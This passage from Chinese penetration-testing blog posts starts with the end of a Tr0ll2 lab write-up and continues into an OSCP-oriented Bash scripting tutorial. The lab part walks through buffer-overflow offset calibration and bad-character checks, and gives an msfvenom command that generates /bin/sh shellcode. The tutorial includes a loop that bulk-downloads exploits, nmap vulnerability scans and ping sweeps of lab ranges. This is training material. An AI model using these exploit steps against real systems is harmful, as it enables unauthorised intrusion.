Characters）。\n验证输入数据是否被篡改（如某些字符被过滤或截断）。\n确认内存中的字节顺序（是否与输入顺序一致）。\n3. 关键检查项 (1) 验证返回地址覆盖 在x/256x $esp的输出中，搜索``0x42424242`。 如果找到，说明 \u0026quot;B\u0026quot;*4 成功覆盖返回地址。 如果未找到，需重新计算偏移量（调整 \u0026quot;A\u0026quot;*268 的长度）。 (2) 检测坏字符 坏字符（Bad Characters）：某些字节（如 \\x00、\\x0a、\\x0d）可能导致输入被截断或程序崩溃。\n检查方法：\n在 x/256b $esp 的输出中，从 0x01 开始逐字节对比输入和内存中的值。 若某个字节在内存中缺失或值改变（如 0x09 变为 0x20），则该字节为坏字符。 在构造 Shellcode 时需避免使用坏字符。 (3) 观察内存连续性 确认输入数据（\\x01\\x02\\x03...）是否完整且顺序正确。\n如果发现数据断裂或顺序错乱，可能因栈溢出破坏其他变量或指针。\n4. 示例输出分析 假设执行 x/16x $esp 输出：\n10xbffffb80: 0x41414141 0x41414141 0x41414141 0x42424242 20xbffffb90: 0x03020100 0x07060504 0x0b0a0908 0x0f0e0d0c 3... 覆盖验证：地址 0xbffffb8c 处值为 0x42424242，说明返回地址被正确覆盖。 数据连续性：后续数据 0x03020100 对应输入 \\x00\\x01\\x02\\x03（注意小端序）。 若执行 x/16b $esp 输出：\n10xbffffb80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 20xbffffb88: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42 3... 字节验证：输入 \u0026quot;A\u0026quot;（0x41）和 \u0026quot;B\u0026quot;（0x42）正确写入内存。 5. 渗透测试中的应用 偏移量校准：通过多次运行和观察内存，调整 \u0026quot;A\u0026quot;*N 的长度，确保返回地址精准覆盖。\n坏字符列表生成：记录所有被篡改的字节，构建 BadChars = \\x00\\x09\\x0a...。\nShellcode 适配 ：使用编码器（如msfvenom）生成不含坏字符的 Shellcode：\n1msfvenom -p linux/x86/exec CMD=/bin/sh -b \u0026#39;\\x00\\x09\\x0a\u0026#39; -f python 总结 x/256x $esp：用于快速观察内存布局，验证大范围数据覆盖。 x/256b $esp：用于精细检查字节级数据，识别坏字符和输入篡改。 在渗透测试中，这两个命令是调试缓冲区溢出漏洞的 核心工具，帮助确认攻击载荷的有效性和可靠性。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-20T14:30:15Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day15-tr0ll2-%E9%9D%B6%E5%9C%BAwp/","title":"Day15 Tr0ll2 靶场WP"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nBash脚本基础 新建一个hello-world.sh文件，写入以下内容：\n1#!/bin/bash 2#Hello world Bash Script 3echo \u0026#34;hello world!\u0026#34; 然后给脚本添加执行权限后运行\n1chmod +x hello-world.sh 2./hello-world.sh 变量 1s1=hello 2s2=world 3s3=\u0026#34;I am Hacker\u0026#34; 4echo $s2 $s2 $s3 参数里面套命令，推荐用$()的用法，` 是过时的用法。\n1user1=$(whoami) \u0026amp;\u0026amp; user2=`whoami` 2echo $user1 $user2 参数 1$0 脚本文件名自己 2$1-$9 bash脚本的前九个参数 3$# 传递给bash脚本的参数数量 4$@ 传递给bash 脚本的所有参数 5$? 最近运行的程序的退出状态 6$USER 运行脚本的用户的用户名 7$HOSTNAME 计算机的主机名 8$RANDOM 生成一个随机数 9$LINENO 脚本中的当前行号 新建一个脚本写入如下内容。\n1#!/bin/bash 2echo \u0026#34;The first two arguments are $1 and $2\u0026#34; 1#!/bin/bash 2# 文件名: demo_script.sh 3# 功能: 演示常用 Bash 参数的用法 4 5# 1. 打印脚本名称 6echo \u0026#34;脚本名称: $0\u0026#34; 7 8# 2. 打印前三个参数（若未传递参数则显示空） 9echo \u0026#34;第一个参数: ${1:-未提供}\u0026#34; 10echo \u0026#34;第二个参数: ${2:-未提供}\u0026#34; 11echo \u0026#34;第三个参数: ${3:-未提供}\u0026#34; 12 13# 3. 打印总参数个数 14echo \u0026#34;参数总数: $#\u0026#34; 15 16# 4. 打印所有参数（带循环） 17echo \u0026#34;所有参数:\u0026#34; 18count=1 19for arg in \u0026#34;$@\u0026#34;; do 20echo \u0026#34; 参数$count: $arg\u0026#34; 21((count++)) 22done 23 24# 5. 测试上一个命令的退出状态 25echo \u0026#34;生成随机数（测试退出状态）:\u0026#34; 26echo \u0026#34;随机数: $RANDOM\u0026#34; 27echo \u0026#34;生成随机数的退出状态: $? (0表示成功)\u0026#34; 28 29# 6. 故意执行一个失败的命令 30echo \u0026#34;执行一个失败的命令:\u0026#34; 31ls /non_existent_file 32echo \u0026#34;失败命令的退出状态: $? (非0表示失败)\u0026#34; 33 34# 7. 用户和主机信息 35echo \u0026#34;当前用户: $USER\u0026#34; 36echo \u0026#34;主机名: $HOSTNAME\u0026#34; 37 38# 8. 显示脚本当前行号（动态变化） 39echo \u0026#34;当前行号（执行前）: $LINENO\u0026#34; 40echo \u0026#34;当前行号（执行后）: $LINENO\u0026#34; 41 42# 9. 结束提示 43echo \u0026#34;脚本结束于行号: $LINENO\u0026#34; Bash 特殊变量 变量名 作用 示例代码 输出示例（假设场景） $0 当前脚本文件名 echo \u0026quot;脚本名: $0\u0026quot; 脚本名: ./test.sh $1-$9 脚本的第1到第9个参数 echo \u0026quot;参数1: $1\u0026quot; 若执行 ./test.sh hi → 参数1: hi $# 传递给脚本的参数个数 echo \u0026quot;参数总数: $#\u0026quot; 若执行 ./test.sh a b → 参数总数: 2 $@ 所有参数，每个参数独立（推荐使用） for arg in \u0026quot;$@\u0026quot;; do echo \u0026quot;$arg\u0026quot;; done 循环打印每个参数 $* 所有参数，合并为一个字符串 echo \u0026quot;所有参数: $*\u0026quot; 所有参数: a b c $? 上一个命令的退出状态（0为成功） ls /tmp; echo \u0026quot;状态: $?\u0026quot; 状态: 0（若目录存在） $$ 当前 Shell 进程的 PID echo \u0026quot;PID: $$\u0026quot; PID: 12345 $! 最后一个后台进程的 PID sleep 10 \u0026amp;; echo \u0026quot;后台PID: $!\u0026quot; 后台PID: 6789 $_ 上一个命令的最后一个参数 ls /var; echo \u0026quot;$_\u0026quot; /var（假设 ls 命令的参数是 /var） $RANDOM 生成一个 0-32767 的随机数 echo \u0026quot;随机数: $RANDOM\u0026quot; 随机数: 18492 $LINENO 当前脚本中的行号 echo \u0026quot;当前行: $LINENO\u0026quot; 当前行: 15 $FUNCNAME 当前函数名（数组，${FUNCNAME[0]}为当前函数） function test_fn { echo \u0026quot;函数名: ${FUNCNAME[0]}\u0026quot;; }; test_fn 函数名: test_fn $SECONDS 脚本已运行的秒数 echo \u0026quot;运行时间: $SECONDS秒\u0026quot; 运行时间: 5秒 $PWD 当前工作目录路径 echo \u0026quot;当前目录: $PWD\u0026quot; 当前目录: /home/user $OLDPWD 上一个工作目录路径（cd -切换时会更新） echo \u0026quot;上一个目录: $OLDPWD\u0026quot; 上一个目录: /tmp $IFS 输入字段分隔符（默认是空格、制表符、换行） IFS=:; echo \u0026quot;拆分: $*\u0026quot; 若参数为 a:b:c → 拆分: a b c $BASH_VERSION Bash 版本信息 echo \u0026quot;Bash版本: $BASH_VERSION\u0026quot; Bash版本: 5.1.16(1)-release $PPID 父进程的 PID echo \u0026quot;父进程PID: $PPID\u0026quot; 父进程PID: 1234 $BASH_SOURCE 当前脚本的路径（数组，${BASH_SOURCE[0]}为当前脚本） echo \u0026quot;脚本路径: ${BASH_SOURCE[0]}\u0026quot; 脚本路径: ./test.sh 常用环境变量 变量名 作用 示例代码 输出示例 $USER 当前用户名 echo \u0026quot;用户: $USER\u0026quot; 用户: ubuntu $HOME 当前用户的主目录路径 echo \u0026quot;主目录: $HOME\u0026quot; 主目录: /home/user $PATH 可执行文件的搜索路径 echo \u0026quot;PATH: $PATH\u0026quot; PATH: /usr/bin:/bin $SHELL 当前 Shell 的路径 echo \u0026quot;Shell: $SHELL\u0026quot; Shell: /bin/bash $LANG 系统语言设置 echo \u0026quot;语言: $LANG\u0026quot; 语言: en_US.UTF-8 $TERM 终端类型 echo \u0026quot;终端类型: $TERM\u0026quot; 终端类型: xterm-256color $EDITOR 默认文本编辑器 echo \u0026quot;编辑器: $EDITOR\u0026quot; 编辑器: vim $UID 当前用户的 UID echo \u0026quot;UID: $UID\u0026quot; UID: 1000 $GROUPS 当前用户所属的组（数组） echo \u0026quot;组: ${GROUPS[@]}\u0026quot; 组: 1000 4 24 $HOSTNAME 系统主机名 echo \u0026quot;主机名: $HOSTNAME\u0026quot; 主机名: myserver $OSTYPE 操作系统类型 echo \u0026quot;系统类型: $OSTYPE\u0026quot; 系统类型: linux-gnu 用户输入 1#!/bin/bash 2echo \u0026#34;Hello there, would you like to learn how to hack: Y/N?\u0026#34; 3read answer # 把用户输入存到answer变量中 4echo \u0026#34;Your answer was $answer\u0026#34; 1#!/bin/bash 2# Prompt the user for credentials 3# Penetration Testing with Kali Linux 2.0 4# PWK 2.0 Copyright © Offensive Security Ltd. All rights reserved. 110 5read -p \u0026#39;Username: \u0026#39; username # 输出提示的同时将用户输入存入username变量 6read -sp \u0026#39;Password: \u0026#39; password # 输出提示的同时将用户输入存入password变量，且不显示，用于密码 7echo \u0026#34; \u0026#34; 8echo \u0026#34;Thanks, your creds are as follows: \u0026#34; $username \u0026#34; and \u0026#34; $password 判断 Bash 条件测试操作符详解 逻辑操作符 操作符 描述 示例 ! EXPRESSION 对表达式取反（非） if ! [ -e file ] → 文件不存在时条件为真 字符串比较 操作符 描述 示例 -n STRING 字符串长度大于零（非空） if [ -n \u0026quot;$name\u0026quot; ] → 检查变量 name 是否非空 -z STRING 字符串长度为零（空） if [ -z \u0026quot;$error\u0026quot; ] → 检查变量 error 是否为空 STRING1 = STRING2 字符串相等 if [ \u0026quot;$os\u0026quot; = \u0026quot;Linux\u0026quot; ] → 判断系统是否为 Linux STRING1 != STRING2 字符串不相等 if [ \u0026quot;$input\u0026quot; != \u0026quot;exit\u0026quot; ] → 输入不是 \u0026ldquo;exit\u0026rdquo; 时条件为真 整数比较 操作符 描述 示例 INT1 -eq INT2 等于（Equal） if [ \u0026quot;$a\u0026quot; -eq 5 ] → 判断 a 是否等于 5 INT1 -ne INT2 不等于（Not Equal） if [ \u0026quot;$retry\u0026quot; -ne 0 ] → 重试次数不为 0 INT1 -gt INT2 大于（Greater Than） if [ \u0026quot;$score\u0026quot; -gt 60 ] → 分数超过 60 INT1 -lt INT2 小于（Less Than） if [ \u0026quot;$age\u0026quot; -lt 18 ] → 年龄小于 18 INT1 -ge INT2 大于等于（Greater or Equal） if [ \u0026quot;$count\u0026quot; -ge 10 ] → 计数达到或超过 10 INT1 -le INT2 小于等于（Less or Equal） if [ \u0026quot;$time\u0026quot; -le 30 ] → 时间小于等于 30 秒 文件测试 操作符 描述 示例 -d FILE 文件存在且是目录 if [ -d \u0026quot;/tmp\u0026quot; ] → 检查 /tmp 是否是目录 -e FILE 文件存在 if [ -e \u0026quot;log.txt\u0026quot; ] → 检查 log.txt 是否存在 -r FILE 文件存在且有读权限 if [ -r \u0026quot;config.cfg\u0026quot; ] → 检查配置文件是否可读 -s FILE 文件存在且非空 if [ -s \u0026quot;data.csv\u0026quot; ] → 检查数据文件是否有内容 -w FILE 文件存在且有写权限 if [ -w \u0026quot;output.log\u0026quot; ] → 检查日志文件是否可写 -x FILE 文件存在且有执行权限 if [ -x \u0026quot;install.sh\u0026quot; ] → 检查安装脚本是否有执行权限 新建一个文件**number_game.sh**\n1#!/bin/bash 2# 生成随机数，用户猜测数字比大小 3 4# 生成1-100的随机数 5target=$((RANDOM % 100 + 1)) 6attempts=0 7max_attempts=10 8 9echo \u0026#34;欢迎来到猜数字游戏！\u0026#34; 10echo \u0026#34;我已生成一个1到100之间的整数，你有${max_attempts}次机会猜中它。\u0026#34; 11 12while [ $attempts -lt $max_attempts ]; do 13((attempts++)) 14remaining=$((max_attempts - attempts + 1)) 15echo -n \u0026#34;第${attempts}次猜测（剩余${remaining}次）：\u0026#34; 16 17read guess 18 19# 检查输入是否为空或非数字 20if [ -z \u0026#34;$guess\u0026#34; ]; then 21 echo \u0026#34;错误：输入不能为空！\u0026#34; 22 ((attempts--)) 23 continue 24elif ! [[ \u0026#34;$guess\u0026#34; =~ ^[0-9]+$ ]]; then 25 echo \u0026#34;错误：请输入数字！\u0026#34; 26 ((attempts--)) 27 continue 28fi 29 30# 比较数字 31if [ \u0026#34;$guess\u0026#34; -eq \u0026#34;$target\u0026#34; ]; then 32 echo \u0026#34;恭喜！你在第${attempts}次猜中了正确答案：${target}！\u0026#34; 33 exit 0 34elif [ \u0026#34;$guess\u0026#34; -lt \u0026#34;$target\u0026#34; ]; then 35 echo \u0026#34;提示：你猜的数字太小了！\u0026#34; 36else 37 echo \u0026#34;提示：你猜的数字太大了！\u0026#34; 38fi 39done 40 41echo \u0026#34;很遗憾，你已经用完所有次数。正确答案是：${target}。\u0026#34; 42exit 1 循环 1. for 循环 基本语法 1for 变量 in 列表; do 2循环体 3done 应用场景 遍历已知序列（数字、文件、字符串等）。 执行固定次数的重复操作。 示例 1：遍历数字序列 终端输入cat \u0026gt; for1.sh，复制粘贴如下内容，回车后按ctrl D结束输入。就能不用打开vim直接输入脚本了。\n1#!/bin/bash 2# 遍历 1-5 并打印平方数 3for i in 1 2 3 4 5; do 4echo \u0026#34;$i 的平方是 $((i*i))\u0026#34; 5done 6 7# 使用序列生成器 {起..止..步长} 8for i in {1..5}; do 9echo \u0026#34;数字: $i\u0026#34; 10done 11 12# 指定步长（仅 Bash 4+ 支持） 13for i in {0..10..2}; do 14echo \u0026#34;偶数: $i\u0026#34; 15done 输出示例 示例 2：遍历文件 1#!/bin/bash 2# 遍历当前目录所有 .txt 文件并输出文件名 3for file in *.txt; do 4echo \u0026#34;find_${file}\u0026#34; 5done 6 7# 遍历带空格的文件名（需设置 IFS） 8IFS=$\u0026#39;\\n\u0026#39; # 将字段分隔符设为换行符 9for file in $(find . -name \u0026#34;*.log\u0026#34;); do 10echo \u0026#34;处理文件: $file\u0026#34; 11done 示例 3：遍历数组 1#!/bin/bash 2fruits=(\u0026#34;苹果\u0026#34; \u0026#34;香蕉\u0026#34; \u0026#34;橘子\u0026#34;) 3for fruit in \u0026#34;${fruits[@]}\u0026#34;; do 4echo \u0026#34;水果: $fruit\u0026#34; 5done 输出示例 2. while 循环 基本语法 1while 条件; do 2循环体 3done 应用场景 条件持续满足时循环（如读取文件、等待任务完成）。 无限循环（需搭配 break 或外部终止条件）。 示例 1：条件控制循环 1#!/bin/bash 2# 计数器从1累加到5 3count=1 4while [ $count -le 5 ]; do 5echo \u0026#34;计数: $count\u0026#34; 6((count++)) 7done 输出示例 示例 2：读取文件内容** 1#!/bin/bash 2# 逐行读取文件 3while IFS= read -r line; do 4echo \u0026#34;行内容: $line\u0026#34; 5done \u0026lt; \u0026#34;w2.txt\u0026#34; 示例 3：无限循环 + 用户输入退出 1#!/bin/bash 2# 持续询问用户输入，直到输入 \u0026#34;exit\u0026#34; 3while true; do 4read -p \u0026#34;请输入命令（输入 exit 退出）: \u0026#34; cmd 5if [ \u0026#34;$cmd\u0026#34; = \u0026#34;exit\u0026#34; ]; then 6 break 7else 8 echo \u0026#34;执行命令: $cmd\u0026#34; \u0026amp;\u0026amp; echo $($cmd) 9fi 10done 3. until 循环（补充） 与 while 逻辑相反，当条件为 假 时执行循环。\n1#!/bin/bash 2# 直到计数器大于5时停止 3count=1 4until [ $count -gt 5 ]; do 5echo \u0026#34;计数: $count\u0026#34; 6((count++)) 7done 循环控制语句 命令 作用 示例 break 立即终止循环 if [ $i -eq 3 ]; then break; fi continue 跳过当前循环，进入下一次 if [ $i -eq 2 ]; then continue; fi 选择循环的建议 已知迭代次数/列表 → for 循环 （如处理文件、数组、数字序列） 依赖动态条件 → while 循环 （如读取输入、监控进程状态） 综合应用脚本 1#!/bin/bash 2# 功能: 查找并压缩所有 .log 文件，直到总压缩文件超过 3 个 3 4log_count=0 5while [ $log_count -lt 3 ]; do 6# 查找未压缩的 .log 文件 7for file in *.log; do 8 if [ -f \u0026#34;$file\u0026#34; ]; then 9 gzip \u0026#34;$file\u0026#34; 10 echo \u0026#34;已压缩: $file\u0026#34; 11 ((log_count++)) 12 # 达到3个后退出循环 13 if [ $log_count -ge 3 ]; then 14 break 2 # 跳出外层 while 循环 15 fi 16 fi 17done 18sleep 1 # 等待新日志生成 19done 20echo \u0026#34;已压缩满3个文件！\u0026#34; 通过灵活组合 for 和 while，可以高效处理文件操作、系统监控等任务。\n函数 在 Bash 脚本中，函数（Function）用于封装可重复使用的代码块，提升代码的可读性和复用性。以下是 Bash 函数的详细用法及示例：\n1. 定义函数 语法 1# 方式1：使用 function 关键字 2function 函数名 { 3函数体 4} 5 6# 方式2：直接定义（兼容性更好） 7函数名() { 8函数体 9} 示例 1：简单函数 1# 定义一个打印欢迎信息的函数 2welcome() { 3echo \u0026#34;欢迎使用本脚本！当前用户：$USER\u0026#34; 4} 5 6# 调用函数 7welcome 输出：\n1欢迎使用本脚本！当前用户：ubuntu 2. 函数参数 函数通过位置参数（$1、$2\u0026hellip;）接收参数，与脚本参数类似。\n示例 2：带参数的函数 1# 定义一个加法计算器 2add() { 3local sum=$(( $1 + $2 )) # 使用 local 定义局部变量 4echo \u0026#34;$1 + $2 = $sum\u0026#34; 5} 6 7# 调用函数并传递参数 8add 5 3 输出：\n15 + 3 = 8 3. 返回值 Bash 函数通过 return 返回 退出状态码（0 表示成功，非 0 表示错误），或通过 echo 输出结果。\n示例 3：返回状态码 1# 检查文件是否存在 2file_exists() { 3if [ -f \u0026#34;$1\u0026#34; ]; then 4 return 0 # 文件存在，返回成功 5else 6 return 1 # 文件不存在，返回失败 7fi 8} 9 10# 调用函数并检查返回值 11if file_exists \u0026#34;/etc/passwd\u0026#34;; then 12echo \u0026#34;文件存在！\u0026#34; 13else 14echo \u0026#34;文件不存在！\u0026#34; 15fi 示例 4：返回字符串 1# 生成问候语（通过 echo 返回结果） 2get_greeting() { 3local name=$1 4echo \u0026#34;你好，$name！今天是 $(date +%F)\u0026#34; 5} 6 7# 捕获函数输出 8message=$(get_greeting \u0026#34;大黑阔\u0026#34;) 9echo \u0026#34;$message\u0026#34; 输出：\n1你好，小明！今天是 2023-10-05 4. 局部变量 使用 local 关键字定义局部变量，避免污染全局作用域。\n1# 生成问候语（通过 echo 返回结果） 2get_greeting() { 3local name=$1 4globalname=$2 5echo \u0026#34;你好，$name！今天是 $(date +%F)\u0026#34; 6} 7 8# 捕获函数输出 9get_greeting \u0026#34;大黑阔\u0026#34; \u0026#34;Hacker\u0026#34; 10echo $name # 局部变量不可见 11echo $globalname 5. 高级用法 递归函数 1# 计算阶乘（递归实现） 2factorial() { 3if [ $1 -le 1 ]; then 4 echo 1 5else 6 local prev=$(factorial $(( $1 - 1 )) ) 7 echo $(( $1 * $prev )) 8fi 9} 10 11# 计算 5! 12result=$(factorial 5) 13echo \u0026#34;5! = $result\u0026#34; # 输出 \u0026#34;5! = 120\u0026#34; 函数库 将常用函数保存为独立文件（如 utils.sh），通过 source 导入：to_upper函数实现小写转大写。\n1# utils.sh 2to_upper() { 3echo \u0026#34;$1\u0026#34; | tr \u0026#39;[:lower:]\u0026#39; \u0026#39;[:upper:]\u0026#39; 4} 5 6# main.sh 7#!/bin/bash 8source utils.sh 9echo $(to_upper \u0026#34;hello\u0026#34;) 6. 注意事项 定义顺序：函数必须在调用之前定义。 命名冲突：避免函数名与系统命令或别名重复。 参数传递：参数通过空格分隔，若参数含空格需用引号包裹（如 func \u0026quot;参数 1\u0026quot;）。 返回值限制：return 只能返回 0-255 的整数，返回字符串或复杂数据需用 echo。 布尔逻辑运算 在 Bash 中，\u0026amp;\u0026amp;、||、\u0026amp; 和 | 是常用的操作符，用于控制命令的执行逻辑和流程。以下是它们的详细解释及示例：\n1. \u0026amp;\u0026amp;（逻辑与） 作用：只有 前一个命令成功执行（退出状态码为 0），才会执行后面的命令。 1mkdir mydir \u0026amp;\u0026amp; cd mydir # 先创建目录，若成功则进入该目录 如果 mkdir mydir 成功（目录创建成功），则执行 cd mydir。 如果 mkdir 失败（如目录已存在），则不会执行 cd。 2. ||（逻辑或） 作用：只有 前一个命令执行失败（退出状态码非 0），才会执行后面的命令。 1ping -c1 google.com || echo \u0026#34;网络不可达\u0026#34; # 若 ping 失败，则提示错误 如果 ping 失败（网络断开），则执行 echo 输出提示。 如果 ping 成功，不执行 echo。 3. \u0026amp;（后台执行） 作用：将命令放入 后台执行，终端可继续输入其他命令。 1sleep 10 \u0026amp; # 后台休眠10秒，终端可继续操作 命令后加 \u0026amp; 会返回一个后台进程的 PID（如 [1] 12345）。 可通过 jobs 查看后台任务，fg %1 将任务调回前台。 4. |（管道） 作用：将 前一个命令的输出 作为 后一个命令的输入。 1cat log.txt | grep \u0026#34;error\u0026#34; | wc -l # 统计 log.txt 中 \u0026#34;error\u0026#34; 的行数 cat log.txt 输出文件内容。 grep \u0026quot;error\u0026quot; 过滤含 \u0026ldquo;error\u0026rdquo; 的行。 wc -l 统计行数。 组合使用示例 场景：下载文件，若失败则重试，成功后解压并删除原文件。 1wget http://example.com/file.tar.gz \u0026amp;\u0026amp; \\ 2tar -xzf file.tar.gz || \\ 3echo \u0026#34;下载失败，请检查网络！\u0026#34; wget 下载文件，若成功则执行 tar 解压。 若 wget 失败，直接执行 echo 提示错误。 符号优先级 默认优先级：\u0026amp;\u0026amp; 和 || 的优先级低于 | 和 \u0026amp;。 强制优先级：用 () 或 {} 分组： 1(cmd1 \u0026amp;\u0026amp; cmd2) || cmd3 # 若 cmd1 和 cmd2 都成功则不执行 cmd3，否则执行 实操练习1-网页地址查找 1wget www.megacorpone.com 2ls -al index.html 3grep \u0026#34;href=\u0026#34; index.html 1grep \u0026#34;href=\u0026#34; index.html | grep \u0026#34;\\.megacorpone\u0026#34; | grep -v \u0026#34;www\\.megacorpone\\.com\u0026#34; | head 2grep \u0026#34;href=\u0026#34; index.html | grep \u0026#34;\\.megacorpone\u0026#34; | grep -v \u0026#34;www\\.megacorpone\\.com\u0026#34; | awk -F \u0026#34;http://\u0026#34; \u0026#39;{print $2}\u0026#39; 3 4grep \u0026#34;href=\u0026#34; index.html # 1. 提取所有包含 href= 的 HTML 行 5| grep \u0026#34;\\.megacorpone\u0026#34; # 2. 筛选含 .megacorpone 的行（子域名或路径） 6| grep -v \u0026#34;www\\.megacorpone\\.com\u0026#34; # 3. 排除含 www.megacorpone.com 的行 7| head # 4. 仅显示前 10 条结果 1grep \u0026#34;href=\u0026#34; index.html | grep \u0026#34;\\.megacorpone\u0026#34; | grep -v \u0026#34;www\\.megacorpone\\.com\u0026#34; | awk -F \u0026#34;http://\u0026#34; \u0026#39;{print $2}\u0026#39; | cut -d \u0026#34;/\u0026#34; -f 1 2grep -o \u0026#39;[^/]*\\.megacorpone\\.com\u0026#39; index.html | sort -u \u0026gt; list.txt 命令 1：提取特定子域名并处理链接结构\n分步解析 grep \u0026quot;href=\u0026quot; index.html 从 index.html 中提取所有包含 href= 的行（HTML 超链接标签）。 grep \u0026quot;\\.megacorpone\u0026quot; 筛选包含 .megacorpone 的行（匹配子域名或路径中的该字段）。 grep -v \u0026quot;www\\.megacorpone\\.com\u0026quot; 排除包含 www.megacorpone.com 的行（主站域名）。 awk -F \u0026quot;http://\u0026quot; '{print $2}' 以 http:// 为分隔符，提取其后的内容（如 cdn.megacorpone.com/style.css）。 cut -d \u0026quot;/\u0026quot; -f 1 以 / 为分隔符，提取第一个字段（即域名部分，如 cdn.megacorpone.com）。 命令 2：直接匹配并收集所有子域名\n分步解析 grep -o '[^/]\\*\\.megacorpone\\.com'\n-o：仅输出匹配的部分。\n正则\n[^/]*\\.megacorpone\\.com [^/]*：匹配不包含 / 的任意字符（避免包含路径或端口）。 \\.megacorpone\\.com：匹配以 .megacorpone.com 结尾的域名。 sort -u\n对结果排序并去重（-u 表示唯一性）。 \u0026gt; list.txt\n将结果保存到 list.txt 文件。 主机ip筛查\n1for url in $(cat list.txt); do host $url; done 2for url in $(cat list.txt); do host $url; done | grep \u0026#34;has address\u0026#34; | cut -d \u0026#34; \u0026#34; -f 4 | sort -u 查找发现教材上的示例网页页面中的子域名，ip主要集中在加拿大（这里和教材示例不同，推测是因为使用了VPN的缘故，以及网页距离写教材时已经过去多年，更换过服务器）。\n实操练习2-筛选漏洞脚本并下载 1searchsploit afd windows -w -t 2searchsploit afd windows -w -t | grep http | cut -f 2 -d \u0026#34;|\u0026#34; 3mkdir afd \u0026amp;\u0026amp; cd afd 4for e in $(searchsploit afd windows -w -t | grep http | cut -f 2 -d \u0026#34;|\u0026#34;); do exp_name=$(echo $e | cut -d \u0026#34;/\u0026#34; -f 5) \u0026amp;\u0026amp; url=$(echo $e | sed \u0026#39;s/exploits/raw/\u0026#39;) \u0026amp;\u0026amp; wget -q --no-check-certificate $url -O $exp_name; done 1file 17133 2cat 17133 实操练习3-Nmap扫描 1sudo nmap --script=vuln -p- -T4 -iL nmaphost.txt --min-rate 1000 --open 2sudo nmap -A -p80 --open 10.11.1.0/24 -oG nmap-scan_10.11.1.1-254 3cat nmap-scan_10.11.1.1-254 | grep 80 | grep -v \u0026#34;Nmap\u0026#34; 4cat nmap-scan_10.11.1.1-254 | grep 80 | grep -v \u0026#34;Nmap\u0026#34; | awk \u0026#39;{print $2}\u0026#39; 5for ip in $(cat nmap-scan_10.11.1.1-254 | grep 80 | grep -v \u0026#34;Nmap\u0026#34; | awk \u0026#39;{print $2}\u0026#39;); do cutycapt --url=$ip --out=$ip.png;done 课后练习 Research Bash loops and write a short script to perform a ping sweep of your target IP range of 10.11.1.0/24.\nTry to do the above exercise with a higher-level scripting language such as Python, Perl, or Ruby.\nUse the practical examples in this module to help you create a Bash script that extracts JavaScript files from the access_log.txt file (http://www.offensive-security.com/pwkfiles/access_log.txt.gz). Make sure the file names DO NOT include the path, are unique, and are sorted.\nRe-write the previous exercise in another language such as Python, Perl, or Ruby.\n研究 Bash 循环，编写一个简短的脚本，对目标 IP 范围 10.11.1.0/24 执行 Ping 扫描。\n尝试用 Python 等高级语言实现上述功能。\n使用本模块的实例，编写一个 Bash 脚本从 access_log.txt 中提取 JavaScript 文件名，要求文件名不包含路径、唯一且排序。\n用 Python 等语言重写上述提取 JavaScript 文件名的功能。\n1. Bash 脚本：Ping 扫描 10.11.1.0/24 网段 这里为了能有输出，改为172.168.169.0/24网段，时我本地虚拟机的内网\n#!/bin/bash # 遍历 1-254，发送 Ping 请求并输出存活主机 for ip in {1..254}; do target=\u0026#34;172.168.169.$ip\u0026#34; # -c 1: 发送 1 个包，-W 1: 超时 1 秒 ping -c 1 -W 1 $target \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 if [ $? -eq 0 ]; then echo \u0026#34;$target is up\u0026#34; fi done 2. Python 脚本：Ping 扫描 10.11.1.0/24 网段 import os import subprocess from concurrent.futures import ThreadPoolExecutor def ping_host(ip): target = f\u0026#34;172.168.169.{ip}\u0026#34; # 调用系统 Ping 命令（Windows 需将 \u0026#39;-c 1\u0026#39; 改为 \u0026#39;-n 1\u0026#39;） result = subprocess.run([\u0026#39;ping\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;1\u0026#39;, \u0026#39;-W\u0026#39;, \u0026#39;1\u0026#39;, target], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) if result.returncode == 0: print(f\u0026#34;{target} is up\u0026#34;) # 使用多线程加速扫描（1-254） with ThreadPoolExecutor(max_workers=50) as executor: executor.map(ping_host, range(1, 255)) 3. Bash 脚本：从 access_log.txt 提取唯一 JS 文件名 wget --secure-protocol=TLSv1_2 https://www.offensive-security.com/pwk-files/access_log.txt.gz gunzip access_log.txt.gz #!/bin/bash # 提取所有 JS 文件，去重并排序 grep -oP \u0026#39;GET \\K[^ ]+?\\.js\u0026#39; access_log.txt | awk -F/ \u0026#39;{print $NF}\u0026#39; | sort -u 说明：\ngrep -oP 'GET \\K[^ ]+?\\.js': 匹配 GET 请求中的 .js 文件路径，\\K 丢弃 GET 前缀。 awk -F/ '{print $NF}': 以 / 分割路径，输出最后一个字段（文件名）。 sort -u: 排序并去重。 4. Python 脚本：提取唯一 JS 文件名 1import re 2from collections import defaultdict 3 4js_files = set() 5 6# 匹配 GET 请求中的 JS 文件 7pattern = re.compile(r\u0026#39;GET\\s+([^ ]+?\\.js)\u0026#39;) 8 9with open(\u0026#39;access_log.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: 10 for line in f: 11 match = pattern.search(line) 12 if match: 13 path = match.group(1) 14 # 提取文件名（忽略路径） 15 filename = path.split(\u0026#39;/\u0026#39;)[-1] 16 js_files.add(filename) 17 18# 排序并输出 19for filename in sorted(js_files): 20 print(filename) 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 